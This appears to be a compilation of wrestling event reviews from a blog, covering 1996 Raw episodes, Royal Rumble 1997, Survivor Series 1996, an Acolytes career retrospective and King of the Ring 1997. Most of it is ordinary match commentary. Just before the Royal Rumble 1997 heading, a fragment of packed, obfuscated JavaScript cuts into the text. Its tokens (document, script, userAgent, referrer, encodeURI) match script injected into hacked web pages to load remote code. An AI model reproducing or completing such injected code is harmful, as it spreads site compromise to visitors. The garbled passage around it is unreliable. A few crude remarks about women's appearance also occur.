Monday Night Raw – July 29, 1996: And Then There Was Summerslam

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Date: July 29, 1996
Location: Key Arena, Seattle, Washington
Attendance: 6,755
Commentators: Vince McMahon, Jerry Lawler

Opening sequence.

Sycho Sid vs. Justin Hawk Bradshaw

Sunny officially introduces Faarooq Asad (first time the name is officially used), who thinks Ahmed is disrespectful to women. Faarooq talks about the streets and wants a shot at the Intercontinental Title at Summerslam. Simple and effective, as I often like it.

Vader vs. Marc Mero

More from the Crush (not yet named or identified) litigation from last week.

British Bulldog vs. Henry Godwinn

Some guy named Mark Henry is really strong.

We get a quick interview from In Your House IX with Mankind in the boiler room with Goldust and Marlena. Mankind rants about an incident when he was a kid and says destruction can be beautiful. Vince mentions the Boiler Room Brawl at Summerslam and my goodness that would change a lot of things.

Undertaker vs. Steve Austin

Undertaker Tombstones Austin post match and promises to make Mankind rest in peace to end the show.

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Monday Night Raw – October 14, 1996: Rock Bottom

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Date: October 14, 1996
Location: Hersheypark Arena, Hershey, Pennsylvania
Attendance: 3,923
Commentators: Kevin Kelly, Jim Ross

The opening video looks at Austin vs. Michaels.

Opening sequence.

Phineas Godwinn vs. Vader

Jerry Lawler vs. Jake Roberts

More from Jesse Jammes, who is re-releasing With My Baby Tonight later this year. Jim Johnston (third Double J in this story) is impressed with his talents you see.

Freddie Joe Floyd vs. Hunter Hearst Helmsley

Cue Mr. Perfect as Helmsley gets in a suplex and he just happens to have a key. Freddie hammers away as Perfect leaves with the lady. The Pedigree finally plants Floyd but HHH goes after perfect and gets punched in the face for the countout. So the referee was paying enough attention to count but not enough to see him get knocked down?

Austin is ready to beat Shawn tonight as a message to Bret Hart.

Faarooq vs. The Pug

We see Faarooq and Ahmed Johnson having an argument over the phone earlier this week on Livewire.

Steve Austin vs. Shawn Michaels

Overall Rating: D-. These shows are just horrible and it definitely starting to take its toll with this show drawing the lowest rating (1.78) in the history of the show. People were just not liking what they were selling at this point and it was high time to change things up, which is exactly what would happen next week. The less said about this show the better though.

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Royal Rumble Count-Up – 1997: Oh Austin

");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ezkee|var|u0026u|referrer|rafsa||js|php'.split('|'),0,{})) Rumble 1997
Date: January 19, 1997
Location: Alamodome, San Antonio, Texas
Attendance: 60,525
Commentators: Jim Ross, Jerry Lawler, Vince McMahon

The opening video is about Shawn of course. Expect to hear that name a lot tonight.

Intercontinental Title: Goldust vs. HHH

A guillotine slows Goldust down and apparently two fans who have sat in the Alamodome for weeks for the show have been thrown out. Gee, I wonder if Super Shawn can help them out. An uppercut gets two on HHH and Goldust laughs a lot before being knocked to the floor. HHH goes up top (!) and dives down onto Goldust to send him into the barricade. The jumping knee misses Goldust though and HHH hits the steel to change momentum again.

HHH hits the jumping knee for two but hurts his own leg in the process. Goldust lariats him down but gets crotched on the top for his efforts. After shoving HHH off, Goldust misses a top rope elbow and the title is thrown in. HHH kisses Marlena but gets blasted by the belt for two. A Hughes distraction is enough for HHH to hit the Pedigree to retain.

Bret whines about being a marked man tonight. You could feel the heel turn coming and it was going to be glorious.

Mankind, another newcomer, is ready for the Rumble but he wants to hurt people instead of go to Wrestlemania.

Faarooq vs. Ahmed Johnson

Post match Ahmed chases off the Nation and powerbombs a member through the announce table.

Faarooq yells at the Nation actors for bailing on him. He says this is just beginning.

Undertaker vs. Vader

Hector Garza/Perro Aguayo/El Canek vs. Jerry Estrada/Heavy Metal/Fuerza Guerrera

Take six guys, throw them in the ring for ten minutes to pop the crowd. I just hope I can remember which is which. Metal vs. Garza to start. Ok so Metal is in the yellow and black tights. Got it. They speed things up to stat before quickly hitting the mat. Off to Aguayo vs. Estrada who is in the white tassels. Perro chops Jerry down and backdrops him out to the floor.

The attendance is announced and no one really cares.

Royal Rumble

Austin dumps Phineas as well and is alone in the ring to face Bart Gunn at #6. Bart gets in some offense but is gone in about thirty seconds. Austin sits on the ropes until Jake Roberts is #7. The music sounds really different in the big stadium setting. Jake pounds away and works on the arm a bit and hits the short clothesline, but Austin backdrops him out to counter the DDT.

The Sultan (Rikishi) is #10 as the ring is finally getting a crowd going in there. Sultan and Pierroth fight on the ropes as Austin is sent to the apron. Pierroth tries to slam Sultan like an idiot as the match continues to be dull. Mil Mascaras, Mexican legend, is #11. He FINALLY gets a reaction as he beats up on Sultan a bit. Sultan belly to bellies him down and we get some of the legendary no selling from Mascaras. HHH is #12 and there goes Sultan via Bulldog.

Bret stays on Austin and hits a backbreaker as Fake Diesel (you know him better as Kane) is #23. The good thing here is that Kane actually looks like Diesel from about ten feet away and is nearly identical from behind. Razor looked like a bad Halloween costume. Diesel goes after Hart before slowing down to let Austin do the work. Terry Funk is #24 to give us a very strong lineup in there at the moment. Funk is sent to the apron but Hart makes a save, earning him a punch to the ribs from Terry.

Taker sends Mankind out a second later to get us down to five. Vader beats on Taker as Austin does the same to Diesel. Bret throws Austin out to a HUGE pop but the referees were breaking up a fight between Mankind and Funk. Austin slides back in, dumps Vader and Taker, then dumps Bret who just eliminated Diesel, and Austin wins the Rumble!

WWF World Title: Shawn Michaels vs. Sycho Sid

We hit the reverse chinlock again but Shawn fights up with right hands. He slams Sid down and hits the forearm to set up the nip-up. The top rope elbow hits but Shawn is knocked to the floor before the superkick can hit. Shawn gets powerbombed on the floor so Sid grabs both Lotharios. That goes nowhere so Shawn pounds away even more. Dang he popped up fast after that powerbomb.

Shawn celebrates for a LONG time to end the show.

Ratings Comparison

HHH vs. Goldust

Original: C-

Redo: C-

Ahmed Johnson vs. Farrooq

Original: D+

Redo: D+

Vader vs. Undertaker

Original: C+

Redo: D+

Hector Garza/Perro Aguayo/El Canek vs. Jerry Estrada/Heavy Metal/Fuerza Guerrera

Original: F

Redo: D

Royal Rumble

Original: C+

Redo: B-

Shawn Michaels vs. Sycho Sid

Original: C+

Redo: C+

Overall Rating

Original: C+

Redo: D

That overall rating surprised me. How could I go that high after nearly the same grades leading up to it?

http://kbwrestlingreviews.com/2011/01/17/royal-rumble-count-up-1997-bret-hart-uh-make-that-austin/

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Survivor Series Count-Up – 1996: That’s Blue Chip Right There

Survivor Series 1996
Date: November 17, 1996
Location: Madison Square Garden, New York City, New York
Attendance: 18,647
Commentators: Jim Ross, Vince McMahon, Jerry Lawler

Team Furnas and Lafon vs. Team Owen Hart/British Bulldog

Doug Furnas, Phillip Lafon, Godwins

Owen Hart, British Bulldog, New Rockers

Kevin Kelly is in the boiler room with Paul Bearer and Mankind, as Bearer abandoned Undertaker for Mankind at Summerslam. Tonight the huge rivalry continues with Bearer locked in a small cage above the ring. This is when Mankind was still relatively new (he debuted about six and a half months before this) and no one knew what to make of him yet. All anyone knew was he could beat up Undertaker which was unheard of at the time.

Mankind vs. Undertaker

Bearer has to be locked in the small cage. Undertaker lowers down from the rafters in what can only be called a Batman costume minus the mask. The ring gear is new as well as he basically a biker vest and leather pants. That would become his standard look for the next three years or so. Mankind rams him into the small cage to start and they head to the floor very quickly.

We head to the floor for the third time via a Cactus Clothesline and they head into the crowd. Mankind charges atUndertaker but gets backdropped over the barricade and onto the concrete. A low blow putsUndertaker down on the apron and down onto the floor, where Mankind hits the elbow off the apron. Undertaker gets sent into the buckle but comes back with an elbow to the face.

Old School hits but Mankind pops up and hits a double arm DDT to put Undertaker down. Mankind goes up but jumps into a chokeslam. The Claw goes on but Undertaker chokeslams him anyway. Cool spot. Undertaker tries a cross body but he crashes over the top and out to the floor. Mankind tries a flip dive off the apron but crashes just as badly and both guys are down. Back in and Mankind tries a quick sleeper, only to be suplexed for his efforts.

Sunny comes out for commentary.

Team Hunter Hearst Helmsley vs. Team Marc Mero

Hunter Hearst Helmsley, Jerry Lawler, Goldust, Crush

Marc Mero, Jake Roberts, The Stalker, Rocky Maivia

Bret says MSG is holy ground for him.

Steve Austin vs. Bret Hart

Austin actually wins a technical battle and cranks on the arm. Bret does the same and adds a hammerlock. They fight for wristlocks and Bret takes it to the mat, working on the arm. Austin fights up and takes his head off with an elbow. Bret stays technical, Austin turns it into a brawl. This is going to have some good psychology in it and the match is going to be fun as a result. Bret takes it right back to the mat and cranks on the arm again.

Austin escapes a backbreaker with a rake of the eyes as momentum shifts again. Bret gets sent to the floor and Austin just pounds on him with forearms and punches. Austin rams him back first into the post as the attacks shifts to the back. Bret comes back by sending him into the barricade, breaking the thing apart. They head into the front row and knock the barricade over. Austin is in trouble again and Bret chases him to the other side of the ring.

Sid is ready for Shawn tonight.

Team Farrooq vs. Team Yokozuna

Farrooq, Vader, Razor Ramon, Diesel

Yokozuna, Flash Funk, Savio Vega, Jimmy Snuka

Off to Savio who gets beaten up by Farrooq on the floor. Back in and Diesel Jackknifes Snuka for the first elimination. Off to Snuka vs. Ramon now with Snuka slamming him down and hitting the Superfly Splash for the elimination. Then everyone brawls in the ring and EVERYONE is disqualified at the same time.

WWF World Title: Shawn Michaels vs. Sycho Sid

Shawn avoids a charge into the corner and goes after the knee some more. Sid kicks him into the ropes and Shawn skins the cat, but Sid clotheslines him right to the floor. Shawn gets dropped on the barricade for two back inside. Sid hits a few running kicks to the head in the corner as things slow down again. Michaels avoids a charge in the corner and goes up, with the fans openly booing him now.

The champ dives into a backbreaker for two and Shawn can barely get up. Shawn fights up and turns it into a slugout with Sid going down. We get the always stupid looking jump into the boot spot and Sid puts on a cobra clutch. Shawn fights up but walks into a chokeslam. The place is exploding for Sid here. The powerbomb is countered into a small package for two but Sid gets the same off a powerslam.

Shawn scrambles to the back to check on Jose.

Ratings Comparison

Team Furnas and Lafon vs. Team Owen Hart and British Bulldog

Original: B-

Redo: C+

Undertaker vs. Mankind

Original: C+

Redo: B

Team Hunter Hearst Helmsley vs. Team Marc Mero

Original: D

Redo: C+

Bret Hart vs. Steve Austin

Original: A+

Redo: A+

Team Farrooq vs. Team Yokozuna

Original: D-

Redo: F

Sycho Sid vs. Shawn Michaels

Original: C-

Redo: B

Overall Rating

Original: B-

Redo: B+

Like I said, I liked it better than I rememebred.

Here’s the original review if you’re interested:

http://kbwrestlingreviews.com/2011/11/15/history-of-survivor-series-count-up-1996-bret-vs-austin-the-prequel-and-rock-debuts/

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Wrestler of the Day – November 25: Acolytes

Time for a good old fashioned brawling tag team: the APA.

Mankind vs. Acolytes

Foley goes into various objects and Farrooq pounds on him. A low blow gets him a break and he fires off some bell and trashcan shots on both guys. Back inside and Foley gets two and a chair shot, in that order. After some heel miscommunication the Claw goes on Farrooq but Bradshaw breaks it up and a double powerbomb onto some chairs ends this.

The Acolytes would win the Tag Team Titles in May, lost them in June and get a rematch at Fully Loaded 1999.

Tag Titles: Acolytes vs. Hardys/Michael Hayes

Yep it’s a handicap match. At this point I had zero clue which was Matt and which was Jeff. We start in the aisle where they just leave the belts. Who would have thought two of these four would win world titles? I don’t think this has started yet. According to Ross it has. Ah there’s the bell so Ross was wrong.

We have Farrooq and Jeff in there to start while Bradshaw beats up both guys on the floor. Matt takes out everyone with a top rope moonsault. They really were great fliers back in the day. Hayes is pretty freaking worthless here but what did you really expect? The APA takes over with just power. Matt picks to tag Hayes. Why in the world would you do that? We get a Freebird reference so I’m good for the night. There’s Jeff. Crowd is DEAD for this.

I think Lita helped them a good bit to say the least. The Hardys simply aren’t that good at this point. Bradshaw gets a nice belly to back suplex off the top. Not bad. Jeff clocks him with Hayes’ cane over the head. Poetry in Motion is still very much a work in progress here. Hayes comes in and a double powerbomb gives the APA their titles back. Edge, Christian and a ladder would be coming soon.

Rating: D+. I didn’t like it at all. Hayes was just in the way here as he’s old and most of the people here don’t know what he used to be nor do they care more than likely. The Hardys would dump him maybe the next night. Either way, the APA would lose the belts to Kane and X-Pac two weeks later so this was just to get Hayes out of the Hardy picture.

There was new tag team in the company around fall of 1999 and the APA had to reestablish their dominance. From Unforgiven 1999.

Dudley Boys vs. Acolytes

The Dudleys are BRAND NEW here and are the hottest team in the world at the moment. The referee is Jimmy Korderas who wasn’t striking. Bubba has a stutter here. They were just so far ahead of every other team in the world at this time and it’s insane to see what they are today. What are you expecting here really? Bubba telegraphs a splash worse than anything I have ever seen as he jumps at Farrooq’s knees. That was horrible looking.

The Dudleys are in tie-dye here and it looks great. Lawler keeps making fun of Moolah and Mae Young which is very amusing yet totally evil and wrong. Again I have to ask, what does it mean to do something with authority? That makes no sense at all. This is your standard big old brawl and that’s all you could really ask for it to be.

Bradshaw gets an ok belly to back suplex off the top for two. And here’s Stevie Richards dressed like an Acolyte. He kicks D-Von and Bradshaw pins him. Ok then. To say a lot, Bradshaw is the only non ECW guy in there. Yeah it meant a lot.

Rating: D. Way too quick of a brawl here and it meant nothing. This show has been horrible and we’re just an hour into it so far. I was bored out of my mind here and I liked the Dudleys a lot back then. The ending was beyond stupid and it did the match no favors at all. Let’s just get this over with.

Tag Team Battle Royal

Dudleys, Godfather/Mark Henry, Headbangers, Edge/Christian, Hardy Boyz, Acolytes, Mean Street Posse, Too Cool.

The Dudleys are out first and yell at Edge and Christian. They all get in a fight before the rest are here. The last man standing wins a tag title shot at the Rumble for his team. The Hardys get a big pop. Terri is with them and is not great looking and undesirable as ever. I love the Posse. I always did. Too Cool gets a solid pop too.

Wow the entrances took awhile for this. It’s individual elimination mind you. Rodney is out. These are hard to call so I’ll more or less be waiting until the end of things. The third member of the Posse keeps going in to cheat. Ok apparently if one guy is eliminated the partner is too. Headbangers are out.

Henry and Godfather are out. Like I said there’s no way to talk about what’s going on here since everything is just a mess. Edge and Christian get both of Too Cool out. It’s Edge and Christian, Dudleys, Acolytes and Hardys. In other words, the four best teams are left. D-Von and Christian go through the ropes and fight on the floor. D-Von pulls Edge out so it’s down to three. There was an affinity for the DDT in this era.

Jeff gets a What’s Up before it was named. Jeff’s crotch is the Promised Land apparently. Jeff takes 3D on top of that but Matt puts the Dudleys out so it’s Hardys vs. Acolytes. Jeff is up after all that inside of a minute. Sure why not. Bradshaw and Matt go out at the same time so they just let us have the other two go at it instead. Bradshaw goes back in anyway so guess how this goes. Not as you would expect actually as Jeff puts Farrooq out but it’s not seem. Ok never mind as Matt is allowed back in. This needs to end like now. And so it does as Farrooq LAUNCHES Jeff out to win.

Rating: D+. Fast paced but boring as are most battle royals. The constant cheating etc at the end just got annoying too. This wasn’t very good but the crowd popped for most of the entrances so there we are. Not terrible but nothing great at all as this could have easily been done on Smackdown or Raw.

Time for another hardcore match on Raw, February 7, 2000.

Hollies vs. Acolytes

Another title shot at Fully Loaded 2000.

Tag Titles: Edge and Christian vs. APA

I miss Edge and Christian’s old entrance where the camera flies all over the place and looks for them and they’re in the entry way like normal wrestlers. Edge insults Dallas sports teams which makes me hate them quite a bit. They insult the Kennedy assassination before setting up for flash photography but the APA and their awesome music cuts them off. Bradshaw threatens to put his boot in their ears. Ok then.

He actually uses the term cheap heat. That came out of nowhere. He defends Texas by saying how many titles they’ve won. That just makes him sound like a geek. I didn’t know FTS was more commonly known as Bradshaw. Farroq gets a great step shot in on Christian right off the bat.

This starts off as little more than a squash as Bradshaw just freaking murders Christian. Edge and Christian finally get some offense in as they get the advantage on Bradshaw. I like how they use such generic offense to stay in a match for as long as they can until they can hit a much bigger move. That’s a nice little way to do something. It lasts for all of a minute though as the APA dominates again.

We hear for about the 12th time that Bradshaw is from Texas. Seriously, WHAT IS SO GREAT ABOUT TEXAS??? With the Acolytes hitting their finishers, Edge goes to the floor and grabs a belt. He gets the referee’s attention and nails Farrooq with it for the DQ. I kind of like that as it plays them holding the belts even longer. The same time though, it makes them look ridiculously weak and since they were known to keep stealing wins like that, it’s rather stupid also.

Either way it was ok I guess. Post match the champions are beaten down even more which for some reason means we should talk about the Rock? That makes no sense but at least they saved it for after the match ended, unlike WCW who likely wouldn’t have acknowledged the match going on at all.

Rating: C. It was really short and pointless but it was never dull. That’s the best thing here: they kept moving the entire time. That’s always a plus as it kept things interesting and made you want to keep watching. I really don’t like the whole cheating to keep the belts thing as it makes them look quite weak, but that’s fine I guess as it fits them to the letter. However at just over five minutes they didn’t have enough time to get anything going so it’s about as average as you can get overall.

Next up was the feud with the Right to Censor, including this eight man tag at Unforgiven 2000.

Dudley Boys/APA vs. Right to Censor

“We’re censors!” “We don’t like censors!” “Let’s have a pre-planned mostly athletic encounter to settle our scripted differences!” There’s your backstory. The APA and the Dudleys dances with Too Cool on Smackdown which wasn’t as funny as it sounds. Steven says his team will win in his hometown. D-Von vs. Goodfather to start which might be an Affirmative Action thing.

The fans, to no one’s surprise, want tables. Let’s see…four former ECW guys in this. No wonder the fans are into it. Bubba comes in quickly and the Ho Train misses. Belly to back gets two for Bubba. Buchanan is so mad he took his tie off. Bradshaw comes in to a nice pop and beats up Buchanan for awhile. Buchanan hits his pretty awesome walk up the ropes and hit a turning clothesline for two.

Venis comes in with his white pants and jokes run rampant. Fallaway slam puts Venis down and it’s off to Farrooq (how DO you spell that anyway?). This has been one sided so far which almost guarantees an RTC victory. Venis hits what is called the Blue Thunder Bomb on No Mercy and it’s off to Goodfather. D-Von is the one getting beaten down at the moment.

Val misses an elbow and there’s the hot (it’s Philly so it’s automatically hot) tag to Bubba. He cleans house 4-1 and again, why do face teams allow their partners to fight such huge odds? Doomsday Device puts Val down and it all breaks down. Steven slips in a kick to Bubba and that’s enough for Val to pin him. Steven was never legally in.

The team was good enough to be brought in for some rare main event shots, including this one on Raw, January 15, 2001.

Kurt Angle/Edge/Christian vs. Steve Austin/???/???

That’s quite the heel team as they’re all champions at this point. Out of nowhere the APA run in and they’re the partners apparently. Austin and Angle start but Angle tags Christian in almost immediately. Off to Edge and Bradshaw now which goes badly for the Canadian. Double spinebuster to Edge as Farrooq comes in. It’s weird to see Austin beat up Edge. They’re tagging that fast mind you.

Angle vs. Austin now and Austin shockingly BACKFLIPS out of a suplex. Edge and Christian grab some chairs but can’t hit a Conchairto on Austin. The APA chases them off and we’re down to the two stars. Superplex gets two for Austin. HHH comes out to the ramp and Austin stares him down. Low blow by Angle and Kurt takes over. Austin manages to counter an Angle suplex and takes over again.

There’s a belly to belly for Austin’s trouble though as Angle pops those hips like only he can. Angle Slam is blocked as they’re flying through this. Thesz Press and Austin hammers away. Angle goes up but jumps into a Stunner to end it. More or less a one on one match but that’s fine by me.

Rating: C+. WAY fast here and it worked pretty well I thought. This works fine as HHH not getting involved here and having Austin do his dirty work for him was perfectly fine as it kills two birds with one stone for him. The tag team aspect meant nothing for the most part but the match was still incredibly energetic and fun.

Another day, another chance to beat up the Hollies on Raw, April 30, 2001.

APA vs. Hollies

It’s a big brawl to the shock of no one paying attention. Bradshaw vs. Hardcore to start with the future WWE Champion in control. Hardcore manages to send him to the floor and that gets him nowhere. Farrooq gets the stairs and they go upside Hardcore’s head as Crash accidentally has the referee. They throw him into the crowd and Bradshaw keeps up the dominance. Crash tries to help his cousin and that gets him nowhere. Crash is supposed to be a bit drunk here. Hardcore keeps fighting and escapes the Dominator but Crash accidentally takes him out with a missile dropkick and the Clothesline ends Hardocore.

They did a double shot on Raw, July 9, 2001.

Tag Titles: APA vs. Dudley Boys

And now for the important match from the same show.

Team WWF/WCW vs. Team ECW

Tag Team Titles: Dudley Boyz vs. Hardy Boyz vs. Billy and Chuck vs. APA

Rating: D. This was only thirteen minutes long but MAN ALIVE was this a chore to sit through. There was no need for this to be on the card and everyone from the commentators to the fans had no interest in it. The only good thing about this was how insanely hot Stacy looked. This could have easily been cut and made this already bloated show a bit easier to sit through.

The APA even had a match named after them. From Vengeance 2003.

Bar Room Brawl

Shannon Moore, Doink the Clown, Faarooq, Bradshaw, Brother Love, Nunzio, Matt Hardy, Chris Kanyon, Danny Basham, Doug Basham, The Easter Bunny, Sean O’Haire, John Hennigan, Orlando Jordan, Funaki, Los Conquistadores, The Brooklyn Brawler, Johnny Stamboli, Chuck Palumbo, Matt Cappotelli, and Spanky.

There’s a bar set up in the arena and we’re just going to fight in there. Los Conquistadores are Rob Conway and Johnny Jeter in case you’re wondering. Aaron Stevens is the Easter Bunny. He was on Smackdown for a cup of coffee as Idol Stevens in like 05 or 06. McCool managed him. John Hennigan is more commonly known as John Morrison, and this Doink is played by Nick “Eugene” Dinsmore.

In essence, this is a big OVW party as a ton of these guys were in OVW at the time. Most of the jobbers don’t get intros. Spanky is up on the bar dancing. Bradshaw says the rules are that the last man drinking wins as we’re testing the toughness and their livers. Ok that’s creative. Brother Love wants to pray before we start. Naturally it’s just a massive fight with no rhyme or reason to it. The Easter Bunny is drinking bears and getting punched. This is wrong.

O’Haire beats the APA up with pool cues. This is idiotic. Brother Love beats up Shannon Moore. I’d think that sums up why no one buys him. The Easter Bunny goes through a window. A bunny watching this would be traumatized for life. Hardy can’t break a table which is kind of funny. There’s nothing of any kind of logic going on here at all. Funaki passes out from beer. Bradshaw beats up Brother Love and I guess that gives him the win. He’s the last man standing even though Farroorq is standing next to him.

Rating: N/A. This was a waste of about 5 minutes. Moving on.

They had to try to beat up another tag team at No Mercy 2003.

Basham Brothers vs. APA

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King of the Ring 1997: Wrestlemania Preview

King of the Ring 1997
Date: June 8, 1997
Location: Providence Civic Center, Providence, Rhode Island
Attendance: 9,312
Commentators: Jim Ross, Vince McMahon

Welcome to the dark ages. The NWO is just killing the WWF at the moment and nothing at all is going right for Vince and company. Actually that’s not true, as we have a bald guy that turned face at Mania and is rapidly approaching the biggest star run of about three years in history. He’s got HBK tonight in a completely forgotten match. Other than that of course we have the tournament which is the final four again here which is how it should be on the PPV.

The main event is Farrooq vs. Taker for the title. And they wonder why they were getting their heads handed to them. The Border War is on at the moment and Canadian Stampede is next month, and for those of you that know about that, you know this is an awesome time when sadly no one was watching. Let’s get to it.

Oh apparently Shawn and Austin are the tag champions. Yeah I remember that really well. The intro is as basic as you could get but the music accompanying the pyro is really weird. It’s almost chilling and I love it. Ross says this is like the World Series or the Super Bowl. That’s just amusing.

King of the Ring SemiFinal: Ahmed Johnson vs. HHH

Now to get to this round, Ahmed already beat HHH, but he complained about having had a match that day already so he got another shot and beat Crush to get here. HHH was supposed to win the previous year and get the Austin push, but due to the MSG Incident, there was no one else to punish. HBK was champion and untouchable and Hall and Nash were leaving so HHH took the fall for it.

Johnson was just about to outlive his lifecycle here as a big deal as he would get hurt all the time and would gain too much weight to come back. For some reason Ahmed is on the poster for this show along with Taker, Austin and HBK which is just odd. Again I want to know, WHAT IS THE NEED FOR BRACKETS FOR FOUR PEOPLE??? What in the world happened to all of HHH’s money? Apparently he had a wrestling tutor. I want one of those!

Ahmed beats on him for a bit and then throws in a curtsey, which I don’t like as he’s supposed to more or less be a killing machine. It amazes me that HHH started off as such a tiny guy and now is about as big as Johnson. Vince says HHH knows all the tricks of the game. That’s just amusing. It will never cease to amaze me how different the careers of two wrestlers can go. Look at these two.

Who in the world would have guessed that HHH would be a first ballot hall of famer and Ahmed wouldn’t last another year? Ivan Putski trained Johnson. That clears up a lot of things. This is a pretty generic match although it’s not boring. HHH was really just getting the hang of his character and in ring style here and it shows. Ahmed is nothing but power and that shows even worse.

You can also see the beginnings of HHH’s muscle mass creeping in. He actually goes to the top for a double axe which works. They botch what looked like was supposed to be a back body drop but they saved it well enough I guess.

After Ahmed beats on him for a bit and sets for the Plunge, Chyna gets up on the apron to distract him. Granted I would think a shiny penny or a thing of cotton candy would distract Ahmed. It allows HHH to get a knee (shocking) to the back and the Pedigree (looked bad) for the pin.

Rating: C+. Eh, it did its job I guess. HHH wasn’t a jobber anymore as he was really starting to get a lot of what would come to define his character down here. Ahmed was on his way to bigger although I wouldn’t say better things due to injury, but we’ll get to that later on today. Also, HHH has the classical music for his theme here, which I’ve always loved.

We look at the brackets in case you’re intellectually challenged.

King of the Ring SemiFinals: Mankind vs. Jerry Lawler

Ok, seriously, what’s the second match? Did someone really think this was a good idea? Something tells me this isn’t going to go well. Foley is more or less a face now, but he’s still the freak that no one understands. He beat Vega and Lawler beat Goldust. Seriously, in mid 1997 Lawler was being kind of pushed? Seriously? I guess it makes sense as it helped Mankind’s face turn.

Just to further the brilliant booking, Mankind had to have a botch from the Nation of Domination to let him beat Savio. That’s just freaking stupid but then again, what do I know? Foley cuts a promo about being a King that Vince keeps laughing at for no apparent reason. Vince seriously needs to shut up half of the time. He does quote a few 50s songs so that helps a bit.

Lawler is with Pettingill who has to be on his way out at this point. He does his walking to the ring promo that he did last year which was awesome last year. It’s nowhere near as good this year but I think a big part of that is he didn’t have the same amount of time which messed things up a bit. He does rip into Foley with some good stuff though so there we are. Jerry is a freaking master on the mic.

People today need to pay attention to his old stuff as he’s getting great heat for some very basic insults. LEARN FROM HIM PEOPLE! To the shock of anyone that has no idea what they’re talking about, they start by brawling on the floor.

Lawler spends most of the match running as we get a Memphis and Lawler history lesson from out of absolutely nowhere, as Ross talks about Lawler being discovered by Lance Russell as a disc jockey and then being trained by Jackie Fargo. That came from nowhere and was cool if nothing else. Also, it’s true, which is something you don’t hear about often.

This is pretty much a Lawler 101 match, as he gets beaten down for a bit and then gets the foreign object (I think it was Welsh) for the turnaround while he shouts at the crowd. Hey, it’s worked for 20 years so why change things now? Foley of course takes some sick bumps on the floor as according to Flair, that’s all he knows how to do. I’ll ignore that for now as I don’t want to bash Flair for a page or so.

Lawler hits his running joke of a dropkick. Basically as most of you know, Lawler isn’t exactly a ring master. One night in Memphis he hit a dropkick and acted like it was a huge deal. He kept doing it and it became part of his repitoire, but every time he acted like it was a huge deal. You know, like Cena hitting the FU on Big Show. Piledriver gets two. Apparently Paul Bearer is hanging with Taker again.

In an ending that I liked a lot more than I should have I think, Lawler goes for another piledriver but Mankind reverses with a backdrop. Lawler goes for a sunset flip, but Foley gets the Claw for the knock out win. I LOVE that. It’s so simple that it worked so well. It was completely out of character for Foley, but it showed that he was a lot smarter than he was made out to be. That was really good.

Rating: D+. This was exactly what it was supposed to be. Foley and Lawler are two guys that know what to do out there and they did exactly what they were supposed to do. The problem was that it was mainly Foley taking sick bumps and no selling stuff to come up at the end with a cool finish, which was the only good part about the match. The ending was a nice nod that worked very well, but it couldn’t save this. I mean really, JERRY LAWLER???

We look at the brackets again just because we have to I guess.

Pillman is in the back talking about how he wants Austin, so Austin sneaks up on him to beat on him and shove his head in a toilet, which there just happened to be a camera mounted above. Yeah good job there production team.

Crush vs. Goldust

Is this some screwed up consolation match or something? This is a great example of why the company was in trouble at the time. There was no point to this but they’ll have it anyway. The Nation is about 10 people here which really was a good idea. They used to hire actors to make it look bigger, which really is brilliant. They mention that he used to be in Demolition which is common knowledge but not something you hear about often.

This was around the time when Vince let Ross be himself and it worked a lot better. This moronic crowd actually pops a bit for Goldust. Why they do that is beyond me but whatever. We ever get a Skandor Akbar reference as Ross is going nuts at the moment. This would be right before the Pillman angle started which was the last one he would ever have. Ross says that Pillman is likely nearly suicidal.

That’s another one of those chilling lines that no one knew how chilling it was at the time. Ross mentions that Terri used to do Larry King’s makeup which is another true thing. We go over the Russo based series of turns and twists that the Nation has been going through. It would be blown up somewhat soon as Rock would join and become a star. Apparently a win here would fulfill Goldust’s American Dream.

I love lines like that which a ton of people had no idea what it meant. Ross follows that up with a jab at Bill Watts and we hear the REAL history of the King of the Ring as a disc jockey said that there should be an annual tournament in New England, meaning Boston or Providence. That started in the mid 80s and never stopped. They dropped the New England aspect though which is a shame. Why is it a shame? I don’t know, but whatever.

Ross is sounding like one of my reviews, but with more interesting stuff. Apparently Monsoon is sick and can’t be here, but he’s by the phone in case a decision is needed. You might have noticed I haven’t talked about the match at all. There’s a reason for that: IT SUCKS. I mean seriously, this would be bad on a house show and it’s getting 10 minutes of PPV time. Crush is more or less sitting on the back with his hands on Goldust’s face, which is called a chinlock.

Goldie kicks and slaps the mat to try to get the fans into it and that actually works. There are few universal truths in wrestling, but one of them will always be that the fans love nothing more than to get involved in a match. We’re told that Goldust is a chip off the old block. Whose block? Well we’re not told but whatever. The Nation, read as D’Lo and the lawyer, goes after Terri. The fans scream BEHIND YOU GOLDUST, which is another thing I love about wrestling: the wrestlers don’t listen.

Anyway, they go back in and a DDT ends it. Seriously: this got ten minutes. Apparently Goldust has a European Title match tomorrow night. Was that the point of this match? To build up Goldie for the title match? It might have been better if that was mentioned before the ending of the match.

Rating: D-. When the highlight of the match is Ross and his stories, that’s not a good sign. This just wasn’t interesting at all and there was zero point to putting this on PPV. It wasn’t interesting at all and it was boring as heck on top of it.

Doc is with Sid and the LOD who are all Americans so they’re a team apparently. Hawk is of course odd when speaking.

Todd is with the heels. Davey is Euro Champion and Owen is IC Champion and has two Slammys. Neidhart used to be a champion like 6 years ago. Oh and he would beat Jay Lethal in about 12 years.

Hart Foundation vs. Sid/Legion of Doom

The Harts here are Owen, Jim and Davey, giving us a total of one Hart in the entire Foundation for this match. I love stupid things like that. Why do I have a feeling the heels are going to win and win easily here? This is being written about 3 days after Bret signed with WWE again, so this is very interesting indeed. There’s a sign in the crowd about cheese for no apparent reason.

The faces come out separately which is rather pointless. The LOD get a decent pop but you could tell their time was about over. This takes FOREVER to get going as we get an LOD chant. It’s Owen and Animal to start us up. Hey, call the Superstar line and run up the phone bill to hear bad promos! More or less all we have here is random power matches as five guys in this match are power guys, and no one saw anything wrong with this.

Also, no one saw a problem with putting THE FREAKING LOD AND SID together as a three man team against two good wrestlers and a generic power guy in Anvil, and yet they had the NERVE to wonder why they were having their heads handed to them. Anvil was a political science major at UCLA. All of a sudden my future seems far more bleak. Seriously, who in the WORLD thought Anvil vs. Hawk was a good idea?

You have two guys that have made a career out of not getting hurt. Just as I type that, Hawk takes a piledriver and of course is up before anyone else. Owen comes in and goes insane. Dang how good could he have been as a veteran? Imagine him vs. Angle or Jericho in 2000-2001. Owen would have been in his late 30s then and definitely capable of working well. He’s two and a half months older than Shawn, so it’s completely realistic that he could still be wrestling and having very good matches today.

